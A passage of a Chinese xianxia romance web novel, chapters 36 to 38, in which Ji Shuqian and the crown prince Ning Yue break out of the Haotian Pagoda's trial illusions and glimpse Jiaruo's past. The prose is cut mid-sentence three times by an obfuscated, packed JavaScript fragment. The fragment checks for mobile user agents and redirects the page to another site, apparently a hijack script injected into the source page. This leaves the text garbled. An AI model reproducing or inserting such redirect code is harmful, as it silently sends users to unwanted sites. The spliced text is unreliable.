镜像一点点显现,是她的远在京城的家人。前一秒是她和家人其乐融融在亭中品茗,下一秒是她偷偷离家,再下一秒则是家人焦灼的神情,镜花水月不过如此。 镜像变幻莫测,她一时间有些迷惑,不明白这面镜子中的景象。 镜像突然被乌云覆住,一阵电闪雷鸣惹得整个空间轻轻颤动。她皱眉看着镜像,不知为何,心头有些许不安。 36. 心有灵犀 画面一转,京城的闹市口人头涌动,时不时发出唏嘘的声音。越过看热闹的重重人群,是她的家人。 在人山人海中,平日一向爱洁的家人,穿着破烂不堪的囚服,戴着镣铐,一步步被押向斩首台。 季疏浅愣愣看着镜像,呼吸一滞,心却在砰砰直跳。她就看着镜中的家人被所有人的唾弃,浑身上下伤痕累累还被扔满了脏物,看着他们被押上了斩首台……“行刑!”看着闪着寒光的刀应声落下…… 她只觉得脑袋一嗡,思绪刹那间终止。踉跄两步,虚华在空间中拉出一条长长的滑痕,堪堪稳住了身形。 亲眼见到家人惨死远比听到家人惨死的消息绝望。 不行,不行……她猛地摇摇头,不,她的家人还活着,这些都过去了,这一世她改变了他们的结局。 季疏浅渐渐冷静下来,正准备绕过这面镜子时,一道带着凉意的声音打断了她。 “季疏浅,你真的能面对吗” 话音落下,季疏浅浑身一颤,一股冷意席卷全身。 她突然意识到,这明明是在皎月调中,明明现在的她是酆都公主珈若。 可这人叫的是季疏浅,而镜像就是她季疏浅的经历。 她深吸一口气,带着些不可思议道:“你……是何人?” 久久没有答复,就在她以为对方不会回应她时,伴着一声悠悠地叹气,声音再度响起。 “这里,是昊天塔的第六层,你未通过昊天塔的试炼,便会被送到这一层来。” 听到他的答复,季疏浅倒觉得心中安定许多,至少,昊天塔作为神器,看破她并不奇怪。 渐渐冷静下来后,她顿了顿开口:“敢问前辈,我的两位朋友是通过试炼了吗?” “是。” 在得到肯定的答复后,她长舒了一口气,这样,她就不用担心他们了。 “敢问前辈,我为何没有通过试炼?”她沉思一会儿后还是忍不住问了问。 “心有杂念。” ?季疏浅疑惑,扪心自问,前世今生她都未曾有过什么欲望。除了前世死前心有不甘,这一世她力图改变所有人的结局,她实在想不到她有什么杂念。 她下意识抬头望向围住她的层层镜子,每一面镜子都开始变换镜像。 眼前所见满身是血的女子,如野草般顽强,哪怕一只断臂血淋淋的惨不忍睹,另一只手上还铐着一只镯子,也依然死死咬着牙关,吃力的扶着乱石颤抖着站起来。 是阿姐……季疏浅默默看着镜像,已经得出了结论,看来昊天塔是想将她曾经不愿面对的一切剖开放在她面前。 她闭上眼冷静地想着,这一切都是前世发生的事了,这一世她有能力去护着他们,有能力去改变他们的命运。 这样想着,她睁开眼看着每一面对曾经的她来说都痛苦不堪的镜像,轻轻一笑。 想通后,她顿了顿,这样看来自己真的没有什么杂念……突然,脑海中一个念头一闪而过,难道是珈若? “前辈,我很明白自己的想法,昊天塔可会误判?” “昊天塔从不会出错。”浑厚的声音在空间中回响。 季疏浅垂眸想到,难道真的是珈若? 可在她的印象中,珈若一向淡淡的,是高高在上的酆都公主,她会有什么杂念呢? 她想了半天还是觉得不大可能,转头开始想该怎么从这里出去。 “哎……”她幽幽叹了口气,眼神一凌,目光掠过虚华剑剑身的寒光。 看来只能硬破了,她不明白这破塔为啥判她心术不正,心有杂念。但既然这样,也就休怪她硬破了。 季疏浅翻身一转,将虚华往空中一抛,银白色剑身带着剑气猛地落下,她立马会意握住剑柄,给本就汹涌的剑气再加上一把,狠狠扎向镜面一般的地面,顺势半跪下。 剑气的冲击太猛烈,镜面似花朵绽放般裂开,自她半跪着的身体旁散开。整个空间摇摇欲坠,四面八方都绽开裂纹。 “你!”先前的声音怒气冲天地响起。 “强破昊天塔你会尸骨无存的!” 季疏浅不甚在意地笑了笑,不过一场皎月调,她可是知道珈若的结局的……至少不是在这里灰飞烟灭的。 淡粉花苞一般的唇勾起一个浅浅的笑容,季疏浅轻轻掀起眼皮,漠视地看着出现无数道裂纹的空间。 她猛地拔出虚华,剑气喷涌而出,在她身旁凝成一个漩涡,漩涡越来越大,转的也越来越快。季疏浅运转周身剑气,慢慢地凝成虚华的剑影。 她双手合成拳,伸出两指在胸前操纵着剑气。伴随着剑气的呼啸,她闭上双眼,感受剑气的涌动,下一秒,她猛地睁开眼睛,双指一转,虚华长吟一声,划破了空间。 空间就如镜面一般炸开,似乎是由无数面镜子拼凑而成,四周一片混沌,混乱中季疏浅看见一道闪电直冲而来。 刚刚剑气太猛,她一时有些乏力,闪避不开,只能用虚华在胸前虚虚一挡,刹那间,她只觉得五脏六腑都被撕碎开来,一个踉跄朝前喷出一口鲜血,倒在地上。 在倒下的前一瞬,她似乎感觉到一股极为磅礴的剑气从外界袭来,剑气给她一种很熟悉很熟悉的感觉。似乎也因为这一道剑气,本就支离破碎的幻境再没有支撑住。 她终是支撑不住,在她缓缓闭上眼时,她仿佛看见了漫天的星光散开,穿着一身黑袍的男子自万千星辰中走来。 - 不知怎的,在她感到浑身一阵酸痛后,渐渐恢复了神智。她撑着冰凉的地缓缓坐起身,却见到四周已经恢复如初。 脑袋一阵嗡鸣,她却看见一位穿着上身白色,裙摆渐变成金色的女子正打量着四周。看着她的背影,季疏浅蹙起眉头,怎么看着有几分眼熟? 女子似乎和她刚来到这里一样,谨慎地打量着四周。金色的裙摆在镜面上折射出淡淡光辉,就和女子周身的气度一样,让人无法忽视。 季疏浅看着那女子缓缓转身看向她的方向,长长的睫毛在眼下扫出一片阴影,直挺的鼻梁,唇色绯然。 等那女子完全转过来时,似乎并没有看到季疏浅,而是淡淡地瞥了一眼四面八方的镜子。 季疏浅愣住了……那不是她吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13946954|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下一秒她反应过来,与其说是她,不如说是珈若。 看来她又和先前一样进入梦里了,就像上次她看见珈若解掉和宁樾的婚约,难道这次她看见的是珈若在此地的经历。 她大脑飞速的转着,看来有时候她能看见前世的自己的经历。 不光如此,季疏浅恍然大悟,她先前的猜测是对的。那个心有杂念的人不是她季疏浅,而是前世的她——珈若。 珈若的欲念是什么? 季疏浅不解,世人的欲望大多是钱,权,色。可这三样对珈若而言简直是伸手就来…… 她摇了摇头,看向神情一如既往冷冰冰的珈若。自己还真是没法理解前世的自己…… 不过她试着设身处地想想,难道是因为这天下苍生责任太过沉重,还是因为她从没有过寻常的亲情? 如果是因为这两样,他觉得换做是她可能真的会心生杂念,但以她对珈若的了解,太不应该了啊。 就在她思索间,眼前一片混乱,她这才猛地发现不知何时珈若已经一剑劈开了空间,甚至和她一样被昊天塔的雷劫劈中,倒在地上喷出一口鲜血来。 和她不同,珈若冷着脸,用手指拭去唇角的血迹,留下一抹淡淡的红痕,撑着地面站起身来。 她轻轻掀起眼皮,用手扶住胸口,剑光一闪,分出无数个珈若。每一个珈若都执着虚华剑,旋身朝无数个裂口再补上几剑。 不过须臾,从裂口处迸发出滋滋作响的雷电,像毒蛇捕食般朝珈若猛冲过去。珈若连眼皮都没抬,神情淡淡的,但她身后渐渐出现一个巨大的淡蓝色幻影。 是珈若的法相,季疏浅在心中暗自惊异,能强大到幻出法相的神从古至今屈指可数。 不过意料之中的是,珈若的法相是淡蓝色,看来她最精水系和冰系法术……难怪元容与曾说她在冰系法术上的造诣极高,难怪她能轻松克住幽冥火。 法相的威压似乎震住了昊天塔,刚刚还滋滋作响的雷电忽然隐去了势头。季疏浅第一次见一个神器如此卑微,镜像如潮水般退去,再慢慢汇聚成一点布满星光的道路,恭送她出去。 就在她垂眸以为会就此结束时,只听见“轰隆”一声巨响,一直看着地面没有作声的珈若突然凉凉地抬起眼皮。季疏浅看不清她眼底神色,只觉得一层寒冰下,似乎有一些不可告人的东西。 珈若缓缓抬起右手,法相的动作也随着她的动作变化,她突然一翻掌,法相巨大的手掌落下。 昊天塔的这片幻境不堪重负,轰隆一声化作星光散开。 季疏浅看着满天星光,珈若静静地立在中间,淡淡看向这一切,仿佛和她无关。 一阵天旋地转后,她发现自己置身于最初的剑坛,珈若就立在她身旁。 季疏浅吓了一跳,连忙和她拉开距离,这才看清珈若的掌心中多了一座闪着星光的紫色小塔。珈若淡淡瞥了一眼小塔,就将它捏入手心,只余下一团淡紫色灵光。 季疏浅张了张嘴,心中已有猜测,是昊天塔吗? 突然似有万千根小针扎进脑海一样,脑袋一阵晕眩,眼前渐渐被黑暗取代。 37. 她的过往 “疏浅,疏浅……”恍惚间,她似乎听到有一个温润的声音有些焦急地喊着她的名字。 她眉头紧锁,缓缓掀开眼皮,入目是一张神情焦急但俊俏非凡的脸颊。 “……宁樾。”她吞了吞口水,润着有些火辣辣痛的喉咙,缓缓开口。 季疏浅想坐直身体,正准备手撑着地面起身,可还没等她手触及地面,宁越似乎明白了她想做什么,一只温暖的手轻轻地托起她的脖颈,她这才后知后觉,自己是躺在宁越怀里。 另一只手有力的扶在她的腰肢上,扶着她缓缓起身。季疏浅心中一阵荡漾,如同蜻蜓点水般,自湖心处荡开一圈圈涟漪。 “没事吧?”宁樾严肃地看着她,一边说着一边将手掌放在离她心口一尺的距离处感受她的内息。 带着清甜果香味的气息包围住她,季疏浅心跳一瞬加快了许多,她定了定神后,才沉下心来打量四周。 宁樾见她面色渐渐红润,若无其事地收回了手。季疏浅地上的青瓦就已经明白这回是真的出了幻境,原先的剑坛似乎被镀上了一层星河,宁樾的黑眸中映出满天繁星,波光流转。 “殿下,殿下。”墨语的声音在耳畔骤然响起。 她这才回过神,惊讶地发现自己竟然盯着宁樾的眼珠子出神了这么久,一时脸颊微微泛红。 墨语看着她的神情,紧紧皱起的眉头总算松开,她带着些劫后余生的庆幸笑吟吟地调侃道:“殿下在看什么呀?这么认真。” 季疏浅呼吸一滞,居然被她发现了,她垂眸故作正经道:“没有,我在想事情……你们也进了昊天塔吗?” 墨语也没再追问,点了点头道:“我和太子殿下进了昊天塔后发现殿下你不在了……然后昊天塔就告诉我们殿下你没有通过试炼,我和太子殿下都觉得肯定是昊天塔弄错了,然后,然后,太子殿下就劈了昊天塔……” 她说的格外心虚,时不时瞄两眼季疏浅。因为宁樾那何止是劈了昊天塔啊,她揣揣不安地看了一眼宁樾,在殿下醒来之前,宁樾特意叮嘱她:“不要告诉你们殿下。” 季疏浅看了看语无伦次的墨语,淡淡收回目光,眼底有一两分笑意。 “你当我这么好糊弄?” 她目光一转,看向宁樾。墨语与珈若一同长大,情同亲姐妹,无论如何都不会瞒着她。 但她刚刚的语气一听就有问题,谁在背后唆使她都不用猜。 宁樾抬眸就对上季疏浅似笑非笑的眸子,“宁樾,还是你说吧?” 季疏浅突然收敛了眼中笑意,认真地看向宁樾,让宁樾一时无言。 他本来是觉得小事一桩,不用告诉她让她再费心的。但是既然疏浅问了,他只好垂眸思索了一下,在脑海中思考着怎么讲述来龙去脉。 - 就在方才,昊天塔告诉他们疏浅没通过试炼时,他和墨语都觉得不可思议,或许是昊天塔的判断出了错。 但像珈若这般心系天下,对一切事情都淡淡的上神,换六界任何一个人来都不会信她心有杂念。 等他们回到剑坛还是没见到季疏浅时,墨语急的左顾右盼,想要再找出一点昊天塔的影子。 她几乎是带着哭腔地说道:“太子殿下,你能想想办法帮帮我家殿下吗?我怕殿下她……” 宁樾一直沉默不语地看着地下一块块青石,闻言轻声安慰道:“别急,你殿下那么厉害,不会有事的。” 话毕,他看着一块微微有些突出的青石砖瓦蹙起眉头,随后走了上去。在一砖一瓦都严丝合缝的剑坛上,出现这么一块突兀的砖瓦很难让人不怀疑。 他刚踩上一只脚,剑坛突然有轰隆隆的声音响起。本来整整齐齐的砖瓦突然躁动起来,在地上拼出错综复杂的纹路。 墨语不解的看着地上的砖瓦,直觉告诉她这剑坛一定有问题,但这些路七八糟,毫无章法的纹路让她完全没有头绪,只能眼神投向宁樾,寄希望于大家口中文韬武略的太子殿下。 宁樾看到这突如其来的变化,倒是没多意外。站在微微凸起的青石上,他居高临下地看着地面纵横交错的纹路。 纹路如肆意生长的树枝,杂乱无章,就这样看着,似乎毫无章法。 可他心头渐渐升起一股异样之感,眼前纹路看似纵横交错,可是中间却有几条纹路格外突出,两条折线中间还有一小块空出来的地方。 昊天塔……收星揽月,集万星璀璨…… 脑海中一个念头一闪而过,难道是星轨? 这两条折线形状的纹路太过于特别,让他一瞬间想到了北斗七星的星轨。如果真的是这样,那正中间那块小小的地方就是北斗七星中的天权。 他犹豫一瞬,蹲下身子,右手悬浮在天权的上方,灵力运转,纹路开始亮起白色光芒。刹那间,整片剑坛亮起星光点点,天权处的青砖被宁樾握在手中,一块凹下去的洞口出现在眼前。 墨语一时间看傻了眼,连忙小跑过去凑近了看,就见那块凹下去的地方有若隐若现的光。 一个通体紫色,亮着璀璨光芒的小塔缓缓升了上来,星芒映着宁樾锋利的眉都多了几分柔和。 他微微蹙起眉头,伸手接过紫色的小塔,拿在手上端详了一会儿,他侧首看向墨语:“这应该就是昊天塔了。” “啊?”墨语一双黑溜溜的眼睛瞪的圆圆的,眼底复杂的情绪被震惊全盘取代。 她是没有想到,昊天塔这种传说中的上古第一神器竟是以这么朴实无华的方式出现的。 但她的震惊都还留着一口气没出,就听到身旁轻轻的“嗯”了一声。 她转头一看,就见宁樾锋利的眉紧紧皱起,左手拧皱了胸口的衣衫,紧紧地扶住心口,拿着昊天塔的右手猛地撑到地上,一块块青石砖瓦瞬间出现蜘蛛网般的裂纹。 如冷玉雕塑般的面庞,唇角处流下一滴滴殷红的血液,似断了线的珠子般滚落。 “太子殿下!”她惊呼一声,瞬间反应过来是昊天塔作祟,急忙想要接过他手上紧握着的冒着紫色荧光的小塔。 “别碰!”宁樾似乎感受到她的动作,睁眼瞥了过来,出言打断她的动作。 他微微松开皱起的眉头,左手手腕一翻,一股灵力自他掌心喷涌而出。他冷冷地看着昊天塔,质问着:“她人呢?” 墨语一边忧心忡忡,一边又咧起一个笑容。她在心中小声嘀咕着:等殿下回来了一定要跟她宣传一下太子殿下。 汹涌的灵力和紫色的荧光对峙着,他的质问一出口,昊天塔周身的紫色光晕突然消失的无影无踪。 下一刻,铺天盖地的光晕似潮水般席卷而来,只余下墨语的一声惊呼:“太子殿下。” 宁樾本是运气抵挡,可就在伸手片刻,他感觉到那漫天光晕不仅没有攻击力,甚至称得上是温和。就在他微微松懈时,便被这光晕吞没。 眨眼间,他来到了一片镜像之地。四面八方有重重镜子围住了他,他反应过来,昊天塔这是又把他扔到一个地方了。 玄天寒光一现,他正准备破开这片幻境时,正前方的镜面突然漾起水波,一点点镜像露出了真容。 他迟疑一瞬,将玄天收了起来,看向那镜像。 镜像中是一个黑漆漆的大牢,牢狱似乎是一个很隐秘的存在,四周空无一人,徒留泛着森森寒光的大门咯吱作响。 画面一转,荼白色长裙曳地,绣满了鲛珠的裙摆和焦黑的土地格格不入,一路拖行还沾染上了几滴未干的鲜血,但裙子的主人似乎毫不在意。 面容绝美的女子似九天之上的皎月,不可侵犯,不容亵渎。周身如月华笼罩,气度不凡。她身在这样的大牢中让人不免惊讶,但更让人惊讶的是女子面无表情地踱步到大牢的最深处。 单单看背影,宁樾就认出了这是珈若,甚至就是在几百年里内的她。 不知不觉间,他握剑的手微微颤了颤。 大牢的深处伸手不见五指,宁樾心中一片冷意。 这绝不是酆都牢狱。 能被押入酆都牢狱的都是六界的极凶恶徒,要被六界绳之以法。所以酆都处决罪犯时,都会让六界皇室一同前来。 年少时,他曾去过一次酆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13993002|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都大牢。那时他就在心底感慨酆都是真的奢靡,连牢狱都是由翡翠铺就,更不说那大门上还镶着许多珍奇的宝石。 哪怕他贵为神族太子见过无数宝物,也还是忍不住惊讶。 但眼前珈若进的这座牢狱似年久失修,连大门都异常破败,绝不会是酆都大牢。 珈若似乎对这个大牢再熟悉不过,轻车熟路地绕过大门径直走向深处。一路过去,宁樾都没有在牢狱中见到个人的影子,不免心下有了结论,或许牢狱中关着一个极为重要的人。 渐渐的,四周突然想起诡异的水声。他微微蹙眉看着眼前的镜像,画面一转时,不由得眸中闪过一丝凌厉。 漆黑的牢狱中,有一团模糊的不成样子的人影。尽管如此,宁樾还是瞧出了这个人的惨状——被割去了双手和双腿,只余下了上半身。 地上还留着未干的血迹,沾了星星点点在她月白的长裙上,但她没有正眼瞧过一眼,只淡淡地一瞥。 不知在想什么,她手中突然燃起一团上下跃动的幽蓝色火焰,照亮了牢狱。幽蓝色火焰映着她的脸庞,不见血色的脸和地上血肉模糊的人,一时之间宁樾都说不出谁更骇人一些。 珈若像雕塑一般冷漠地俯身看向眼前的人,沉默不语。半晌,她缓缓蹲下身子,平视着他。 “最后一天了,你再不说就真的没有活路了。” 闻言,地上的人影痛苦地蠕动着身子,片刻后才沙哑着开口:“你……将我弄成这副模样,活着与死了有何区别。” 这摆明了就是威胁。 珈若听后并没有生气,一如常态面无表情地看着他,片刻后唇角勾起一抹淡淡的笑容。 “哦?” “那就让你求生不得求死不能好了。” 那人似乎格外震惊,但忍受着痛楚只支支吾吾的吐出一两个字:“你……你。” “殿下,您父皇那边来人了。” 宁樾微微皱眉看着自黑暗中出现的昏暗身影,正是墨语。 她神情有几分焦灼:“恐怕……瞒不住了。” 她话一出,宁越觉着,一向面无表情的女子脸上有了几分破碎的神情。 墨语小心翼翼地打量着珈若的神情,就看到她淡粉如花苞的唇上下开合。 “毁尸灭迹吧……” 空气似乎被冻结了,她转身迈出一片黑暗,右手轻轻一挥割掉了那片沾血的裙摆。 沾着几滴血珠的月白的鲛纱在空中飘飘扬扬地飞舞落下。 “你……你们皇室真是无情无义之徒……”沙哑的声音颤颤巍巍地响起,却又洪亮的响彻整个牢狱。 珈若脚步一顿,右手突然紧紧地攥住。 但那份碎裂的神情只维持了片刻,就又被一如既往的疏离取代。 她转身离开牢狱之后,镜像跟随着墨语的目光,宁樾这时看清了那个人影,不由得浑身一颤。 那是酆都的帝师,一人之下万人之上的帝师。 传闻中死在恶灵手中的那位帝师。 他一时愣住,原来他死在了珈若手上吗? 可珈若为何要对她父神最器重的帝师下毒手,看样子还是瞒住了酆都大帝。 思索间,镜像又回到了平静的水面般毫无波澜,但他的内心却是狂风骤雨齐至。 所以,这是珈若心中的杂念?她是因为这个原因才没有通过昊天塔的? 他一时也没法将镜像中的珈若和与他一同在槐江山中的珈若联系在一起。 其实他心底一直有一种异样的感觉,来了槐江山后与他一道的珈若和曾经的珈若似乎大相径庭。 或许这个让他唤她疏浅的姑娘,与珈若不是一人呢? 这个想法自脑海飞过,一时他都觉得荒唐,酆都公主怎会被别人夺舍。 他垂下眼眸,心下解释道,或许这其中有什么难言之隐。当务之急他还是要找到她,一起从昊天塔里出去。 昊天塔本是盘算着给他看了珈若的过往能让他打消了念头的,谁知道一转眼,这位天之骄子就执着他的长剑冷眼打量着四周。 38. 雪谷 宁樾执着玄天剑对着一片镜像,眼底一片严寒不见半丝温情。长剑剑锋凌厉闪着寒光,势如破竹的灵力斩开了临近的几块镜子。 “藐视昊天塔神威,你当真以为昊天塔不会降罪于你吗?”威严的声音一反常态失了庄重,沾染上了怒火中烧的意味。 “神器无非就是在世人的吹捧中被尊为神器,可事在人为。”说罢,他缓缓抬起眼皮,没有半分惶恐不安。 他将玄天轻轻一转,剑气顺着招式变化涌出。剑招如同碧海潮水一般汹涌澎湃,似海上惊天波浪般涌出,隐隐还含有龙吟之声。 下一秒,他将剑气猛地挥出,长身玉立,一双如幽黑星河的眸子看向幻象,眼底有说不明的阴霾。 剑气汹涌,势不可挡,如破晓之光,击碎了一片片镜像,整个幻象开始猛烈地震颤起来。 宁樾微微皱了皱眉,恍惚之间,他似乎感觉到另一股剑气同时劈向了幻象……剑气似乎格外熟悉。 他没有用到五成功力,这幻象居然在顷刻间就崩碎,和他想象中的似乎不太一样。 镜像在一点点崩裂,就在这时,一个意想不到的身影出现在他余光中。 靛蓝色衣衫的男子紧紧握着蛇骨鞭,镜像的荧光映着他惨白的脸颊,他半跪在地上,用鞭子勉强支撑着摇摇欲坠的身体。 “元祉!”宁樾看向破裂镜像中的人,那个熟悉的身影他绝不会认错人,是他的三弟元祉。 他没有过多思索,闪身到了他身旁,用手扶住了他轻颤的身体。 “元祉,元祉。” 元祉神情带着几分忍耐,脖颈上的根根青筋爆出,如玉雕般的额头上挂起细小的汗珠。 宁樾尝试着叫醒他,他扶住元祉,在他耳畔轻轻叫他名字。 突然,他搂住的人浑身剧烈一颤,如从火海逃生一般神情猛地一松。一睁开眼,他便对上了宁樾担心的眼神,后背微微僵直。 宁樾有所察觉,心想恐怕是被吓到了。毕竟从小到大,元祉都极易受惊吓,每每遇到妖兽突袭时,他总是沉默着缩在他身后。 在他思索间,自然没能留意到元祉带着冷意的眼神直直盯着他,似无底的洞口想要将他吞噬。但是这般的凌厉转瞬被温和的面具所取代,消失的无影无踪。 “没事吧?”宁樾看向他。 元祉沉默地看着他,摇了摇头。 神情愣愣的,似乎还没有从幻象中反应过来。 宁樾伸手试探着他的脉搏,突然感觉一股冷意直逼全身。 元祉为什么会在幻象里?而且他出现的时间正好和墨语遇袭的时间一样… 宁樾顿时沉默,珈若在昊天塔中的缘由他已经见过,那这个他从小看着长大的弟弟呢? 他从小看着元容与和元祉长大,二人的事情他几乎都知晓。 元祉为何会生出杂念? 他长长的眼睫在眼下扫出一片阴影,自他懂事起便担心因为自己身为太子有更大的权力,两位弟弟会心生不满。 随意从小到大,任何事情他都让着他们俩,几乎是有求必应,连着征战平乱的战利品都是带回来让他们先选了喜欢的。 况且他所习的剑法也毫无保留的传给他们俩,至于功效几成就看他们俩自己的造化。 扪心自问,宁樾觉得自己从未亏待过他们俩。他母神也多次告诫他要担起神族嫡长子的责任,多多照顾照顾弟弟们。 神帝宠幸他们的生母兰妃,虽碍着他母神的面,但也决计不会亏待他们俩。 他杂念为何?欲念因何而起? 宁樾见他神情不好受也没有多问,只打算回神界后暗中命人查查。 元祉垂眸打量了一眼宁樾扶住他的手,眼中带着几分复杂的情绪,一片灰暗。 随着镜像一点点消散,剑坛重现眼前,再就是他们遇到了同样从昊天塔出来的季疏浅。 难怪他觉得那道剑气格外熟悉,是虚华剑没错了。 宁樾说完后微微偏头看向季疏浅,就见少女略微沉思,脸颊上还挂着一抹尴尬的红晕。 季疏浅听完他的话,聪明如她,顿时就明白了在她昏过去之前所感受到的那股剑气来自于谁。 原来他们是同时劈了昊天塔吗? 她心头一片滚烫,心暮忽的漏了一瞬。这种感觉她活了两世都没有体验过,但在这危机四伏的秘境中她也来不及细想。 面前忽然闪过一抹紫色幽光,她抬眸望去,就见宁樾似是笑着递过一个紫色小塔在她面前。季疏浅愣了愣,看向宁樾不语。 宁樾见她的反应,轻轻笑了笑:“这昊天塔应该是你的机缘,拿着吧。” 季疏浅默了一瞬,不由得想到进皎月调之前善慧告诉她的,不管当下如何结局都不会改变。曾经的珈若得到了昊天塔,如今在皎月调中昊天塔再次现世,看来结局兜兜转转果真不会改变。 “好。”她没有犹豫就将昊天塔收下了,这时余光才瞥到一旁一动不动的元祉。“这是?” 见她望向元祉,宁樾眼神黯了黯:“我三弟。” 元祉?他怎会也在这里。季疏浅觉得自己窥见了一丝不寻常的意味,墨语前脚出事,凶手连个影子都没见到,但偏偏他就出现在这里,真是好巧不巧。 但她肯定不能凭着这样的猜测就给他下定论,毕竟墨语的记忆中是元容与…… 气氛一时陷入了诡异的沉默,四个人都默不作声,还是宁樾出来缓解了下这尴尬的氛围:“我们还是先从这里出去吧。” 季疏浅点了点头,就见眼前剑光一闪,宁樾一剑如闪电般朝着某个地方刺去。剑气排山倒海地涌去,青瓦四散,面前俨然一片冰天雪地。 “快走!”宁樾冷着声让他们先走,话音刚落下整个剑坛剧烈摇动起来。季疏浅心下一紧,看来没了昊天塔,整个剑坛都会毁于一旦了。 她连忙拉着墨语闪身出去,他们四人刚出去,整座剑坛轰然倒塌。她迅速反应过来,凝起一片结界拦住四处飞舞的青瓦砖石和扬起的漫天尘土。 轰隆隆的巨响过后,四周归于宁静,漫天冰雪似乎凝固了整片大地,只余下飞雪的簌簌声。 季疏浅看向漫天飞雪不禁想到了在前世在槐江山的背水一战,同样的地方,雪也是这般纷纷扬扬地落下。一些痛苦的回忆涌上心头,她别过头试图转移自己的注意力。 突然想到什么,她抬眸看向宁樾:“宁樾,我们俩去找点吃的吧。” 少女的声音突然入耳打破了这份宁静,宁樾若有所思地看着她:“好。” “元祉,你照顾好墨语姑娘,你们俩在这里休息一会儿。”他轻轻瞥了一眼从始至终一言不发的元祉,微微皱了皱眉。 季疏浅也不约而同地看向元祉:“麻烦三皇子了,墨语她身上有伤,让她在此处休息一会儿。”说完就眼神示意宁樾走了。 “那殿下你们也小心一点。”墨语也没有强求,她知道自己若是前去只会给他们添乱,乖乖地找了个地方坐下准备小憩一会儿。 走了一会儿,等到四周都是白茫茫的一片,确认没有人会听到他们俩声音时,宁樾浅笑着看向身旁的女子:“说吧。” 季疏浅略带些惊讶地看着他,他居然猜到了自己叫他来找吃的其实是另有所图。 她微微颔了颔首,纠结一小会儿后才缓缓开口道:“你两个弟弟间有什么矛盾吗?” 在她看到元祉的时候内心便有一个声音拉着她往一个方向想着,太巧了,况且在场的就他们几个人,说她不怀疑元祉是假的。 而且在此之前她就曾推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14125589|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断过,以墨语的武功,没有混入其他人的话,在场能伤她的屈指可数,最有嫌疑的便是几界倾全力培养的天骄继承人们。 但如果真是他,为何要故意塞一段元容与的身影的记忆给墨语呢,她只能从这两人的关系入手。 漫天飞雪中,少女的身影在雪中有些模糊,宁樾明白了她心中所想。 “很好。” 他话一出口,季疏浅就如冰雕一样立在原地,连长长的眼睫上结起一层寒霜都没有察觉,只是看向那纷飞的大雪,觉得这事情的走向有点扑朔迷离。 见她这样,宁樾觉得可能自己单单一句话没什么信服力,他神色不明地补充道:“他们都是兰妃所出,而且在一起的时间远比跟我相处的时间多。” 季疏浅这才颤了颤眼睫,点了点头。 世人都说血浓于水,这点她是深信不疑。 “但你放心,出去后我会派人查一查元祉。”说到这里宁樾的眼神黯了黯,“或许有一些我不知道的事。” 季疏浅觉得听起来话中有话,但抬眸正对上他真诚的眼神,一时也不好再多问。 他们一边走一边说,不知不知觉间,四周的景象突变。 雪落下来,像一片片羽毛飘落在大地。看眼前的地形,应当是一个雪谷。雪谷中一棵棵巨树银装素裹,在枝丫上还挂着一串串晶莹剔透的冰珠,似水晶帘一般高悬。望向两侧,目光所及皆是雪山和冰川,远远望去如同一条条玉龙盘踞在云海。 “好美啊。”季疏浅感叹着眼前的冰雪世界,伸手轻轻拂过一串冰珠帘子。 只是在碰到那冰时她突然一愣,冰上浅浅的灵力气息太熟悉了。 她依稀能感觉到那是一股很磅礴的力量,只是历经岁月,如今只余下这淡淡的感觉。 宁樾正看着眼前如同小猫看到新奇事物一般的少女,平日没什么喜怒的脸上终于有了几分生动。见她神情突然严肃,也跟着蹙起眉头。 “怎么了?” 季疏浅看着手上的冰珠道:“你感受一下。”说罢,将那一串冰珠递给宁樾。 宁越自她手上接过,冰珠微微沾上了少女体温的余热。他接过一瞬便明白了为什么疏浅让她感受一下。 见他神情,季疏浅在心中感慨万千,跟聪明人就是无需多说,忽然心中有个念头,若是宁樾没有成为魔尊,或许他们能是很好的朋友。 只可惜世上没有那么多如果,就像珈若和宁樾一样,就那么错过。 “我觉得……这灵力有些熟悉。”季疏浅皱着眉思索,但是又没有想起到底为何熟悉。 “我也觉得。”宁樾沉着声,他也觉得好似在哪里遇见过。 两人都没有想出原因,还是决定继续走看看,毕竟借口是出来找吃的。虽说他们两人都已经是神阶,不需要靠这些果腹,但是墨语和元祉需要。 整个雪谷如梦似幻,此时一缕阳光倾泻,映射在晶莹剔透的冰珠上折出一道道绚丽的光芒。 季疏浅看着这美景缓缓道:“其实……我一直对雪天的印象不太好,但是眼下看来又确实很美。” 宁樾看向她多了一份深思,她平日的声音都是格外淡定,永远听不出喜怒,但是这句话中却似带了无数情绪。 一些冰珠悬挂得很长,宁樾步子大走在她前面,轻轻拨开冰珠侧身让她走。 “为何?” 